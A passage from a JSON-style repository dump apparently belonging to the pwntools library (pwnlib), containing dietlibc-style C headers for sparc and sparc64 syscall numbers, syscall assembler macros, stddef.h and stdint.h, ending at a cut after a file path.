__NR_add_key\t\t281\n#define __NR_request_key\t282\n#define __NR_keyctl\t\t283\n#define __NR_openat\t\t284\n#define __NR_mkdirat\t\t285\n#define __NR_mknodat\t\t286\n#define __NR_fchownat\t\t287\n#define __NR_futimesat\t\t288\n#define __NR_fstatat64\t\t289\n#define __NR_unlinkat\t\t290\n#define __NR_renameat\t\t291\n#define __NR_linkat\t\t292\n#define __NR_symlinkat\t\t293\n#define __NR_readlinkat\t\t294\n#define __NR_fchmodat\t\t295\n#define __NR_faccessat\t\t296\n#define __NR_pselect6\t\t297\n#define __NR_ppoll\t\t298\n#define __NR_unshare\t\t299\n#define __NR_set_robust_list\t300\n#define __NR_get_robust_list\t301\n#define __NR_migrate_pages\t302\n#define __NR_mbind\t\t303\n#define __NR_get_mempolicy\t304\n#define __NR_set_mempolicy\t305\n#define __NR_kexec_load\t\t306\n#define __NR_move_pages\t\t307\n#define __NR_getcpu\t\t308\n#define __NR_epoll_pwait\t309\n#define __NR_utimensat\t\t310\n#define __NR_signalfd\t\t311\n#define __NR_timerfd\t\t312\n#define __NR_eventfd\t\t313\n#define __NR_fallocate\t\t314\n#define __NR_timerfd_settime\t315\n#define __NR_timerfd_gettime\t316\n#define __NR_signalfd4\t\t317\n#define __NR_eventfd2\t\t318\n#define __NR_epoll_create1\t319\n#define __NR_dup3\t\t320\n#define __NR_pipe2\t\t321\n#define __NR_inotify_init1\t322\n#define __NR_accept4\t\t323\n#define __NR_preadv\t\t324\n#define __NR_pwritev\t\t325\n#define __NR_rt_tgsigqueueinfo\t326\n#define __NR_perf_event_open\t327\n#define __NR_recvmmsg\t\t328\n#define __NR_fanotify_init\t329\n#define __NR_fanotify_mark\t330\n#define __NR_prlimit64\t\t331\n#define __NR_name_to_handle_at\t332\n#define __NR_open_by_handle_at\t333\n#define __NR_clock_adjtime\t334\n#define __NR_syncfs\t\t335\n#define __NR_sendmmsg\t\t336\n#define __NR_setns\t\t337\n#define __NR_process_vm_readv\t338\n#define __NR_process_vm_writev\t339\n#define __NR_kern_features\t340\n#define __NR_kcmp\t\t341\n#define __NR_finit_module\t342\n#define __NR_sched_setattr\t343\n#define __NR_sched_getattr\t344\n#define __NR_renameat2\t\t345\n#define __NR_seccomp\t\t346\n#define __NR_getrandom\t\t347\n#define __NR_memfd_create\t348\n#define __NR_bpf\t\t349\n#define __NR_execveat\t\t350\n#define __NR_membarrier\t\t351\n#define __NR_userfaultfd\t352\n#define __NR_bind\t\t353\n#define __NR_listen\t\t354\n#define __NR_setsockopt\t\t355\n#define __NR_mlock2\t\t356\n#define __NR_copy_file_range\t357\n#define __NR_preadv2\t\t358\n#define __NR_pwritev2\t\t359\n#define __NR_statx\t\t360\n#define __NR_io_pgetevents\t361\n#define __NR_pkey_mprotect\t362\n#define __NR_pkey_alloc\t\t363\n#define __NR_pkey_free\t\t364\n#define __NR_rseq\t\t365\n#define __NR_semget\t\t393\n#define __NR_semctl\t\t394\n#define __NR_shmget\t\t395\n#define __NR_shmctl\t\t396\n#define __NR_shmat\t\t397\n#define __NR_shmdt\t\t398\n#define __NR_msgget\t\t399\n#define __NR_msgsnd\t\t400\n#define __NR_msgrcv\t\t401\n#define __NR_msgctl\t\t402\n#define __NR_clock_gettime64\t403\n#define __NR_clock_settime64\t404\n#define __NR_clock_adjtime64\t405\n#define __NR_clock_getres_time64\t406\n#define __NR_clock_nanosleep_time64\t407\n#define __NR_timer_gettime64\t408\n#define __NR_timer_settime64\t409\n#define __NR_timerfd_gettime64\t410\n#define __NR_timerfd_settime64\t411\n#define __NR_utimensat_time64\t412\n#define __NR_pselect6_time64\t413\n#define __NR_ppoll_time64\t414\n#define __NR_io_pgetevents_time64\t416\n#define __NR_recvmmsg_time64\t417\n#define __NR_mq_timedsend_time64\t418\n#define __NR_mq_timedreceive_time64\t419\n#define __NR_semtimedop_time64\t420\n#define __NR_rt_sigtimedwait_time64\t421\n#define __NR_futex_time64\t422\n#define __NR_sched_rr_get_interval_time64\t423\n#define __NR_pidfd_send_signal\t424\n#define __NR_io_uring_setup\t425\n#define __NR_io_uring_enter\t426\n#define __NR_io_uring_register\t427\n#define __NR_open_tree\t\t428\n#define __NR_move_mount\t\t429\n#define __NR_fsopen\t\t430\n#define __NR_fsconfig\t\t431\n#define __NR_fsmount\t\t432\n#define __NR_fspick\t\t433\n#define __NR_pidfd_open\t\t434\n#define __NR_openat2\t\t437\n#define __NR_pidfd_getfd\t438\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,function; \\\n.global sym; \\\nsym: \\\n\tb __unified_syscall; \\\n\tmov __NR_##name, %g1\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,function; \\\n.global sym; \\\nsym: \\\n\tb __unified_syscall; \\\n\tmov __NR_##name, %g1\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/sparc64/syscalls.h",
    "content": "\n#define __NR_exit                 1 /* Common                                      */\n#define __NR_fork                 2 /* Common                                      */\n#define __NR_read                 3 /* Common                                      */\n#define __NR_write                4 /* Common                                      */\n#define __NR_open                 5 /* Common                                      */\n#define __NR_close                6 /* Common                                      */\n#define __NR_wait4                7 /* Common                                      */\n#define __NR_creat                8 /* Common                                      */\n#define __NR_link                 9 /* Common                                      */\n#define __NR_unlink              10 /* Common                                      */\n#define __NR_execv               11 /* SunOS Specific                              */\n#define __NR_chdir               12 /* Common                                      */\n#define __NR_chown\t\t 13 /* Common\t\t\t\t\t   */\n#define __NR_mknod               14 /* Common                                      */\n#define __NR_chmod               15 /* Common                                      */\n#define __NR_lchown              16 /* Common                                      */\n#define __NR_brk                 17 /* Common                                      */\n#define __NR_perfctr             18 /* Performance counter operations              */\n#define __NR_lseek               19 /* Common                                      */\n#define __NR_getpid              20 /* Common                                      */\n#define __NR_capget\t\t 21 /* Linux Specific\t\t\t\t   */\n#define __NR_capset\t\t 22 /* Linux Specific\t\t\t\t   */\n#define __NR_setuid              23 /* Implemented via setreuid in SunOS           */\n#define __NR_getuid              24 /* Common                                      */\n/* #define __NR_time alias\t 25    ENOSYS under SunOS\t\t\t   */\n#define __NR_ptrace              26 /* Common                                      */\n#define __NR_alarm               27 /* Implemented via setitimer in SunOS          */\n#define __NR_sigaltstack\t 28 /* Common\t\t\t\t\t   */\n#define __NR_pause               29 /* Is sigblock(0)->sigpause() in SunOS         */\n#define __NR_utime               30 /* Implemented via utimes() under SunOS        */\n/* #define __NR_lchown32         31    Linux sparc32 specific                      */\n/* #define __NR_fchown32         32    Linux sparc32 specific                      */\n#define __NR_access              33 /* Common                                      */\n#define __NR_nice                34 /* Implemented via get/setpriority() in SunOS  */\n/* #define __NR_chown32          35    Linux sparc32 specific                      */\n#define __NR_sync                36 /* Common                                      */\n#define __NR_kill                37 /* Common                                      */\n#define __NR_stat                38 /* Common                                      */\n#define __NR_sendfile\t\t 39 /* Linux Specific\t\t\t\t   */\n#define __NR_lstat               40 /* Common                                      */\n#define __NR_dup                 41 /* Common                                      */\n#define __NR_pipe                42 /* Common                                      */\n#define __NR_times               43 /* Implemented via getrusage() in SunOS        */\n/* #define __NR_getuid32         44    Linux sparc32 specific                      */\n#define __NR_umount2             45 /* Linux Specific                              */\n#define __NR_setgid              46 /* Implemented via setregid() in SunOS         */\n#define __NR_getgid              47 /* Common                                      */\n#define __NR_signal              48 /* Implemented via sigvec() in SunOS           */\n#define __NR_geteuid             49 /* SunOS calls getuid()                        */\n#define __NR_getegid             50 /* SunOS calls getgid()                        */\n#define __NR_acct                51 /* Common                                      */\n#define __NR_memory_ordering\t 52 /* Linux Specific\t\t\t\t   */\n/* #define __NR_getgid32         53    Linux sparc32 specific                      */\n#define __NR_ioctl               54 /* Common                                      */\n#define __NR_reboot              55 /* Common                                      */\n/* #define __NR_mmap2\t\t 56    Linux sparc32 Specific                      */\n#define __NR_symlink             57 /* Common                                      */\n#define __NR_readlink            58 /* Common                                      */\n#define __NR_execve              59 /* Common                                      */\n#define __NR_umask               60 /* Common                                      */\n#define __NR_chroot              61 /* Common                                      */\n#define __NR_fstat               62 /* Common                                      */\n/* #define __NR_fstat64          63    Linux sparc32 Specific                      */\n#define __NR_getpagesize         64 /* Common                                      */\n#define __NR_msync               65 /* Common in newer 1.3.x revs...               */\n#define __NR_vfork               66 /* Common                                      */\n#define __NR_pread               67 /* Linux Specific                              */\n#define __NR_pwrite              68 /* Linux Specific                              */\n/* #define __NR_geteuid32        69    Linux sparc32, sbrk under SunOS             */\n/* #define __NR_getegid32        70    Linux sparc32, sstk under SunOS             */\n#define __NR_mmap                71 /* Common                                      */\n/* #define __NR_setreuid32       72    Linux sparc32, vadvise under SunOS          */\n#define __NR_munmap              73 /* Common                                      */\n#define __NR_mprotect            74 /* Common                                      */\n#define __NR_madvise             75 /* Common                                      */\n#define __NR_vhangup             76 /* Common                                      */\n/* #define __NR_truncate64       77    Linux sparc32 Specific\t\t\t   */\n#define __NR_mincore             78 /* Common                                      */\n#define __NR_getgroups           79 /* Common                                      */\n#define __NR_setgroups           80 /* Common                                      */\n#define __NR_getpgrp             81 /* Common                                      */\n/* #define __NR_setgroups32      82    Linux sparc32, setpgrp under SunOS          */\n#define __NR_setitimer           83 /* Common                                      */\n/* #define __NR_ftruncate64      84    Linux sparc32 Specific\t\t\t   */\n#define __NR_swapon              85 /* Common                                      */\n#define __NR_getitimer           86 /* Common                                      */\n/* #define __NR_setuid32         87    Linux sparc32, gethostname under SunOS      */\n#define __NR_sethostname         88 /* Common                                      */\n/* #define __NR_setgid32         89    Linux sparc32, getdtablesize under SunOS    */\n#define __NR_dup2                90 /* Common                                      */\n/* #define __NR_setfsuid32       91    Linux sparc32, getdopt under SunOS          */\n#define __NR_fcntl               92 /* Common                                      */\n#define __NR_select              93 /* Common                                      */\n/* #define __NR_setfsgid32       94    Linux sparc32, setdopt under SunOS          */\n#define __NR_fsync               95 /* Common                                      */\n#define __NR_setpriority         96 /* Common                                      */\n#define __NR_socket              97 /* Common                                      */\n#define __NR_connect             98 /* Common                                      */\n#define __NR_accept              99 /* Common                                      */\n#define __NR_getpriority        100 /* Common                                      */\n#define __NR_rt_sigreturn       101 /* Linux Specific                              */\n#define __NR_rt_sigaction       102 /* Linux Specific                              */\n#define __NR_rt_sigprocmask     103 /* Linux Specific                              */\n#define __NR_rt_sigpending      104 /* Linux Specific                              */\n#define __NR_rt_sigtimedwait    105 /* Linux Specific                              */\n#define __NR_rt_sigqueueinfo    106 /* Linux Specific                              */\n#define __NR_rt_sigsuspend      107 /* Linux Specific                              */\n#define __NR_setresuid          108 /* Linux Specific, sigvec under SunOS\t   */\n#define __NR_getresuid          109 /* Linux Specific, sigblock under SunOS\t   */\n#define __NR_setresgid          110 /* Linux Specific, sigsetmask under SunOS\t   */\n#define __NR_getresgid          111 /* Linux Specific, sigpause under SunOS\t   */\n/* #define __NR_setregid32       75    Linux sparc32, sigstack under SunOS         */\n#define __NR_recvmsg            113 /* Common                                      */\n#define __NR_sendmsg            114 /* Common                                      */\n/* #define __NR_getgroups32     115    Linux sparc32, vtrace under SunOS           */\n#define __NR_gettimeofday       116 /* Common                                      */\n#define __NR_getrusage          117 /* Common                                      */\n#define __NR_getsockopt         118 /* Common                                      */\n#define __NR_getcwd\t\t119 /* Linux Specific\t\t\t\t   */\n#define __NR_readv              120 /* Common                                      */\n#define __NR_writev             121 /* Common                                      */\n#define __NR_settimeofday       122 /* Common                                      */\n#define __NR_fchown             123 /* Common                                      */\n#define __NR_fchmod             124 /* Common                                      */\n#define __NR_recvfrom           125 /* Common                                      */\n#define __NR_setreuid           126 /* Common                                      */\n#define __NR_setregid           127 /* Common                                      */\n#define __NR_rename             128 /* Common                                      */\n#define __NR_truncate           129 /* Common                                      */\n#define __NR_ftruncate          130 /* Common                                      */\n#define __NR_flock              131 /* Common                                      */\n/* #define __NR_lstat64\t\t132    Linux sparc32 Specific                      */\n#define __NR_sendto             133 /* Common                                      */\n#define __NR_shutdown           134 /* Common                                      */\n#define __NR_socketpair         135 /* Common                                      */\n#define __NR_mkdir              136 /* Common                                      */\n#define __NR_rmdir              137 /* Common                                      */\n#define __NR_utimes             138 /* SunOS Specific                              */\n/* #define __NR_stat64\t\t139    Linux sparc32 Specific\t\t\t   */\n#define __NR_sendfile64         140 /* adjtime under SunOS                         */\n#define __NR_getpeername        141 /* Common                                      */\n#define __NR_futex              142 /* gethostid under SunOS                       */\n#define __NR_gettid             143 /* ENOSYS under SunOS                          */\n#define __NR_getrlimit\t\t144 /* Common                                      */\n#define __NR_setrlimit          145 /* Common                                      */\n#define __NR_pivot_root\t\t146 /* Linux Specific, killpg under SunOS          */\n#define __NR_prctl\t\t147 /* ENOSYS under SunOS                          */\n#define __NR_pciconfig_read\t148 /* ENOSYS under SunOS                          */\n#define __NR_pciconfig_write\t149 /* ENOSYS under SunOS                          */\n#define __NR_getsockname        150 /* Common                                      */\n/* #define __NR_getmsg          151    SunOS Specific                              */\n/* #define __NR_putmsg          152    SunOS Specific                              */\n#define __NR_poll               153 /* Common                                      */\n#define __NR_getdents64\t\t154 /* Linux specific\t\t\t\t   */\n/* #define __NR_fcntl64         155    Linux sparc32 Specific                      */\n/* #define __NR_getdirentries   156    SunOS Specific                              */\n#define __NR_statfs             157 /* Common                                      */\n#define __NR_fstatfs            158 /* Common                                      */\n#define __NR_umount             159 /* Common                                      */\n#define __NR_sched_set_affinity 160 /* Linux specific, async_daemon under SunOS    */\n#define __NR_sched_get_affinity 161 /* Linux specific, getfh under SunOS           */\n#define __NR_getdomainname      162 /* SunOS Specific                              */\n#define __NR_setdomainname      163 /* Common                                      */\n#define __NR_utrap_install\t164 /* SYSV ABI/v9 required\t\t\t   */\n#define __NR_quotactl           165 /* Common                                      */\n#define __NR_set_tid_address    166 /* Linux specific, exportfs under SunOS        */\n#define __NR_mount              167 /* Common                                      */\n#define __NR_ustat              168 /* Common                                      */\n#define __NR_setxattr           169 /* SunOS: semsys                               */\n#define __NR_lsetxattr          170 /* SunOS: msgsys                               */\n#define __NR_fsetxattr          171 /* SunOS: shmsys                               */\n#define __NR_getxattr           172 /* SunOS: auditsys                             */\n#define __NR_lgetxattr          173 /* SunOS: rfssys                               */\n#define __NR_getdents           174 /* Common                                      */\n#define __NR_setsid             175 /* Common                                      */\n#define __NR_fchdir             176 /* Common                                      */\n#define __NR_fgetxattr          177 /* SunOS: fchroot                              */\n#define __NR_listxattr          178 /* SunOS: vpixsys                              */\n#define __NR_llistxattr         179 /* SunOS: aioread                              */\n#define __NR_flistxattr         180 /* SunOS: aiowrite                             */\n#define __NR_removexattr        181 /* SunOS: aiowait                              */\n#define __NR_lremovexattr       182 /* SunOS: aiocancel                            */\n#define __NR_sigpending         183 /* Common                                      */\n#define __NR_query_module\t184 /* Linux Specific\t\t\t\t   */\n#define __NR_setpgid            185 /* Common                                      */\n#define __NR_fremovexattr       186 /* SunOS: pathconf                             */\n#define __NR_tkill              187 /* SunOS: fpathconf                            */\n#define __NR_exit_group\t\t188 /* Linux specific, sysconf undef SunOS         */\n#define __NR_uname              189 /* Linux Specific                              */\n#define __NR_init_module        190 /* Linux Specific                              */\n#define __NR_personality        191 /* Linux Specific                              */\n#define __NR_remap_file_pages   192 /* Linux Specific                              */\n#define __NR_epoll_create       193 /* Linux Specific                              */\n#define __NR_epoll_ctl          194 /* Linux Specific                              */\n#define __NR_epoll_wait         195 /* Linux Specific                              */\n/* #define __NR_ulimit          196    Linux Specific                              */\n#define __NR_getppid            197 /* Linux Specific                              */\n#define __NR_sigaction          198 /* Linux Specific                              */\n#define __NR_sgetmask           199 /* Linux Specific                              */\n#define __NR_ssetmask           200 /* Linux Specific                              */\n#define __NR_sigsuspend         201 /* Linux Specific                              */\n#define __NR_oldlstat           202 /* Linux Specific                              */\n#define __NR_uselib             203 /* Linux Specific                              */\n#define __NR_readdir            204 /* Linux Specific                              */\n#define __NR_readahead          205 /* Linux Specific                              */\n#define __NR_socketcall         206 /* Linux Specific                              */\n#define __NR_syslog             207 /* Linux Specific                              */\n#define __NR_lookup_dcookie     208 /* Linux Specific                              */\n#define __NR_fadvise64          209 /* Linux Specific                              */\n#define __NR_fadvise64_64       210 /* Linux Specific                              */\n#define __NR_tgkill             211 /* Linux Specific                              */\n#define __NR_waitpid            212 /* Linux Specific                              */\n#define __NR_swapoff            213 /* Linux Specific                              */\n#define __NR_sysinfo            214 /* Linux Specific                              */\n#define __NR_ipc                215 /* Linux Specific                              */\n#define __NR_sigreturn          216 /* Linux Specific                              */\n#define __NR_clone              217 /* Linux Specific                              */\n/* #define __NR_modify_ldt      218    Linux Specific - i386 specific, unused      */\n#define __NR_adjtimex           219 /* Linux Specific                              */\n#define __NR_sigprocmask        220 /* Linux Specific                              */\n#define __NR_create_module      221 /* Linux Specific                              */\n#define __NR_delete_module      222 /* Linux Specific                              */\n#define __NR_get_kernel_syms    223 /* Linux Specific                              */\n#define __NR_getpgid            224 /* Linux Specific                              */\n#define __NR_bdflush            225 /* Linux Specific                              */\n#define __NR_sysfs              226 /* Linux Specific                              */\n#define __NR_afs_syscall        227 /* Linux Specific                              */\n#define __NR_setfsuid           228 /* Linux Specific                              */\n#define __NR_setfsgid           229 /* Linux Specific                              */\n#define __NR__newselect         230 /* Linux Specific                              */\n/* #define __NR_oldstat         232    Linux Specific                              */\n#define __NR_stime              233 /* Linux Specific                              */\n#define __NR_statfs64           234 /* Linux Specific                              */\n#define __NR_fstatfs64          235 /* Linux Specific                              */\n#define __NR__llseek            236 /* Linux Specific                              */\n#define __NR_mlock              237\n#define __NR_munlock            238\n#define __NR_mlockall           239\n#define __NR_munlockall         240\n#define __NR_sched_setparam     241\n#define __NR_sched_getparam     242\n#define __NR_sched_setscheduler 243\n#define __NR_sched_getscheduler 244\n#define __NR_sched_yield        245\n#define __NR_sched_get_priority_max 246\n#define __NR_sched_get_priority_min 247\n#define __NR_sched_rr_get_interval  248\n#define __NR_nanosleep          249\n#define __NR_mremap             250\n#define __NR__sysctl            251\n#define __NR_getsid             252\n#define __NR_fdatasync          253\n#define __NR_nfsservctl         254\n#define __NR_aplib              255\n#define __NR_clock_settime\t256\n#define __NR_clock_gettime\t257\n#define __NR_clock_getres\t258\n#define __NR_clock_nanosleep\t259\n#define __NR_sched_getaffinity\t260\n#define __NR_sched_setaffinity\t261\n#define __NR_timer_settime\t262\n#define __NR_timer_gettime\t263\n#define __NR_timer_getoverrun\t264\n#define __NR_timer_delete\t265\n#define __NR_timer_create\t266\n/* #define __NR_vserver\t\t267 Reserved for VSERVER */\n#define __NR_io_setup\t\t268\n#define __NR_io_destroy\t\t269\n#define __NR_io_submit\t\t270\n#define __NR_io_cancel\t\t271\n#define __NR_io_getevents\t272\n#define __NR_mq_open\t\t273\n#define __NR_mq_unlink\t\t274\n#define __NR_mq_timedsend\t275\n#define __NR_mq_timedreceive\t276\n#define __NR_mq_notify\t\t277\n#define __NR_mq_getsetattr\t278\n#define __NR_waitid\t\t279\n/*#define __NR_sys_setaltroot\t280 available (was setaltroot) */\n#define __NR_add_key\t\t281\n#define __NR_request_key\t282\n#define __NR_keyctl\t\t283\n#define __NR_openat\t\t284\n#define __NR_mkdirat\t\t285\n#define __NR_mknodat\t\t286\n#define __NR_fchownat\t\t287\n#define __NR_futimesat\t\t288\n#define __NR_fstatat64\t\t289\n#define __NR_unlinkat\t\t290\n#define __NR_renameat\t\t291\n#define __NR_linkat\t\t292\n#define __NR_symlinkat\t\t293\n#define __NR_readlinkat\t\t294\n#define __NR_fchmodat\t\t295\n#define __NR_faccessat\t\t296\n#define __NR_pselect6\t\t297\n#define __NR_ppoll\t\t298\n#define __NR_unshare\t\t299\n#define __NR_set_robust_list\t300\n#define __NR_get_robust_list\t301\n#define __NR_migrate_pages\t302\n#define __NR_mbind\t\t303\n#define __NR_get_mempolicy\t304\n#define __NR_set_mempolicy\t305\n#define __NR_kexec_load\t\t306\n#define __NR_move_pages\t\t307\n#define __NR_getcpu\t\t308\n#define __NR_epoll_pwait\t309\n#define __NR_utimensat\t\t310\n#define __NR_signalfd\t\t311\n#define __NR_timerfd\t\t312\n#define __NR_eventfd\t\t313\n#define __NR_fallocate\t\t314\n#define __NR_timerfd_settime\t315\n#define __NR_timerfd_gettime\t316\n#define __NR_signalfd4\t\t317\n#define __NR_eventfd2\t\t318\n#define __NR_epoll_create1\t319\n#define __NR_dup3\t\t320\n#define __NR_pipe2\t\t321\n#define __NR_inotify_init1\t322\n#define __NR_accept4\t\t323\n#define __NR_preadv\t\t324\n#define __NR_pwritev\t\t325\n#define __NR_rt_tgsigqueueinfo\t326\n#define __NR_perf_event_open\t327\n#define __NR_recvmmsg\t\t328\n#define __NR_fanotify_init\t329\n#define __NR_fanotify_mark\t330\n#define __NR_prlimit64\t\t331\n#define __NR_name_to_handle_at\t332\n#define __NR_open_by_handle_at\t333\n#define __NR_clock_adjtime\t334\n#define __NR_syncfs\t\t335\n#define __NR_sendmmsg\t\t336\n#define __NR_setns\t\t337\n#define __NR_process_vm_readv\t338\n#define __NR_process_vm_writev\t339\n#define __NR_kern_features\t340\n#define __NR_kcmp\t\t341\n#define __NR_finit_module\t342\n#define __NR_sched_setattr\t343\n#define __NR_sched_getattr\t344\n#define __NR_renameat2\t\t345\n#define __NR_seccomp\t\t346\n#define __NR_getrandom\t\t347\n#define __NR_memfd_create\t348\n#define __NR_bpf\t\t349\n#define __NR_execveat\t\t350\n#define __NR_membarrier\t\t351\n#define __NR_userfaultfd\t352\n#define __NR_bind\t\t353\n#define __NR_listen\t\t354\n#define __NR_setsockopt\t\t355\n#define __NR_mlock2\t\t356\n#define __NR_copy_file_range\t357\n#define __NR_preadv2\t\t358\n#define __NR_pwritev2\t\t359\n#define __NR_statx\t\t360\n#define __NR_io_pgetevents\t361\n#define __NR_pkey_mprotect\t362\n#define __NR_pkey_alloc\t\t363\n#define __NR_pkey_free\t\t364\n#define __NR_rseq\t\t365\n#define __NR_semtimedop\t\t392\n#define __NR_semget\t\t393\n#define __NR_semctl\t\t394\n#define __NR_shmget\t\t395\n#define __NR_shmctl\t\t396\n#define __NR_shmat\t\t397\n#define __NR_shmdt\t\t398\n#define __NR_msgget\t\t399\n#define __NR_msgsnd\t\t400\n#define __NR_msgrcv\t\t401\n#define __NR_msgctl\t\t402\n#define __NR_pidfd_send_signal\t424\n#define __NR_io_uring_setup\t425\n#define __NR_io_uring_enter\t426\n#define __NR_io_uring_register\t427\n#define __NR_open_tree\t\t428\n#define __NR_move_mount\t\t429\n#define __NR_fsopen\t\t430\n#define __NR_fsconfig\t\t431\n#define __NR_fsmount\t\t432\n#define __NR_fspick\t\t433\n#define __NR_pidfd_open\t\t434\n#define __NR_openat2\t\t437\n#define __NR_pidfd_getfd\t438\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,function; \\\n.global sym; \\\nsym: \\\n\tb __unified_syscall; \\\n\tmov __NR_##name, %g1\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,function; \\\n.global sym; \\\nsym: \\\n\tb __unified_syscall; \\\n\tmov __NR_##name, %g1\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/stddef.h",
    "content": "#ifndef _STDDEF_H\n#define _STDDEF_H\n\n#include <sys/cdefs.h>\n\n__BEGIN_DECLS\n\n/* ugh.  This is normally provided by gcc. */\n\n#ifdef __GNUC__\ntypedef __PTRDIFF_TYPE__ ptrdiff_t;\ntypedef __SIZE_TYPE__ size_t;\n#if !defined(__cplusplus)\ntypedef __WCHAR_TYPE__ wchar_t;\n#endif\n#else\ntypedef signed long ptrdiff_t;\ntypedef unsigned long size_t;\ntypedef int wchar_t;\n#endif\n\n#undef NULL\n#if defined(__cplusplus)\n#define NULL 0\n#else\n#define NULL (void*)0\n#endif\n\n#undef offsetof\n#if defined(__GNUC__) && (__GNUC >= 3)\n#define offsetof(type,member) __builtin_offsetof(type,member)\n#else\n#define offsetof(type,member) ((size_t) &((type*)0)->member)\n#endif\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/stdint.h",
    "content": "#ifndef _STDINT_H\n#define _STDINT_H\n\n#include <inttypes.h>\n#include <stddef.h>\n\n__BEGIN_DECLS\n\ntypedef int8_t int_least8_t;\ntypedef int16_t int_least16_t;\ntypedef int32_t int_least32_t;\ntypedef int64_t int_least64_t;\n\ntypedef uint8_t uint_least8_t;\ntypedef uint16_t uint_least16_t;\ntypedef uint32_t uint_least32_t;\ntypedef uint64_t uint_least64_t;\n\ntypedef signed char int_fast8_t;\ntypedef signed long int int_fast16_t;\ntypedef signed long int int_fast32_t;\ntypedef int64_t int_fast64_t;\n\ntypedef unsigned char uint_fast8_t;\ntypedef unsigned long int uint_fast16_t;\ntypedef unsigned long int uint_fast32_t;\ntypedef uint64_t uint_fast64_t;\n\n\n\n/* The ISO C99 standard specifies that in C++ implementations these\n   should only be defined if explicitly requested.  */\n#if !defined __cplusplus || defined __STDC_LIMIT_MACROS\n\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807ll)\n\n#define INT8_MIN (-1 - INT8_MAX)\n#define INT16_MIN (-1 - INT16_MAX)\n#define INT32_MIN (-1 - INT32_MAX)\n#define INT64_MIN (-1 - INT64_MAX)\n\n#define INT_LEAST8_MAX INT8_MAX\n#define INT_LEAST8_MIN INT8_MIN\n#define INT_LEAST16_MAX INT16_MAX\n#define INT_LEAST16_MIN INT16_MIN\n#define INT_LEAST32_MAX INT32_MAX\n#define INT_LEAST32_MIN INT32_MIN\n#define INT_LEAST64_MAX INT64_MAX\n#define INT_LEAST64_MIN INT64_MIN\n\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xfffffffful\n#define UINT64_MAX 0xffffffffffffffffull\n\n#define UINT_LEAST8_MAX UINT8_MAX\n#define UINT_LEAST16_MAX UINT16_MAX\n#define UINT_LEAST32_MAX UINT32_MAX\n#define UINT_LEAST64_MAX UINT64_MAX\n\n#if __WORDSIZE == 64\n#define INTPTR_MIN INT64_MIN\n#define INTPTR_MAX INT64_MAX\n#define UINTPTR_MAX UINT64_MAX\n#else\n#define INTPTR_MIN INT32_MIN\n#define INTPTR_MAX INT32_MAX\n#define UINTPTR_MAX UINT32_MAX\n#endif\n\n#define SIZE_MAX UINTPTR_MAX\n#define PTRDIFF_MIN INTPTR_MIN\n#define PTRDIFF_MAX INTPTR_MAX\n\n#define INTMAX_MIN INT64_MIN\n#define INTMAX_MAX INT64_MAX\n#define UINTMAX_MAX UINT64_MAX\n\n#define INT_FAST8_MIN INT8_MIN\n#define INT_FAST8_MAX INT8_MAX\n#define INT_FAST64_MIN INT64_MIN\n#define INT_FAST64_MAX INT64_MAX\n\n#define UINT_FAST8_MAX UINT8_MAX\n#define UINT_FAST64_MAX UINT64_MAX\n\n#define INT_FAST16_MIN INTPTR_MIN\n#define INT_FAST16_MAX INTPTR_MAX\n#define UINT_FAST16_MAX UINTPTR_MAX\n\n#define INT_FAST32_MIN INTPTR_MIN\n#define INT_FAST32_MAX INTPTR_MAX\n#define UINT_FAST32_MAX UINTPTR_MAX\n\n#define SIG_ATOMIC_MAX ((int)(~0u << sizeof(int)*8-1))\n#define SIG_ATOMIC_MIN ((int)((~0u << sizeof(int)*8-1)-1))\n\n#ifndef WCHAR_MIN\n#define WCHAR_MIN ((int)(~0u << sizeof(int)*8-1))\n#define WCHAR_MAX ((int)((~0u << sizeof(int)*8-1)-1))\n#endif\n\n#define WINT_MIN 0\n#define WINT_MAX (~(wint_t)0)\n\n#endif\t/* C++ && limit macros */\n\n\n\n/* The ISO C99 standard specifies that in C++ implementations these\n   should only be defined if explicitly requested.  */\n#if !defined __cplusplus || defined __STDC_CONSTANT_MACROS\n\n/* Signed.  */\n# define INT8_C(c)\tc\n# define INT16_C(c)\tc\n# define INT32_C(c)\tc\n# if __WORDSIZE == 64\n#  define INT64_C(c)\tc ## L\n# else\n#  define INT64_C(c)\tc ## LL\n# endif\n\n/* Unsigned.  */\n# define UINT8_C(c)\tc\n# define UINT16_C(c)\tc\n# define UINT32_C(c)\tc ## U\n# if __WORDSIZE == 64\n#  define UINT64_C(c)\tc ## UL\n# else\n#  define UINT64_C(c)\tc ## ULL\n# endif\n\n/* Maximal type.  */\n# if __WORDSIZE == 64\n#  define INTMAX_C(c)\tc ## L\n#  define UINTMAX_C(c)\tc ## UL\n# else\n#  define INTMAX_C(c)\tc ## LL\n#  define UINTMAX_C(c)\tc ## ULL\n# endif\n\n#endif\t/* C++ && constant macros */\n\n#if defined(__WINT_TYPE__)\ntypedef __WINT_TYPE__ wint_t;\n#else\ntypedef unsigned int wint_t;\n#endif\n\n__END_DECLS\n\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/string.h",
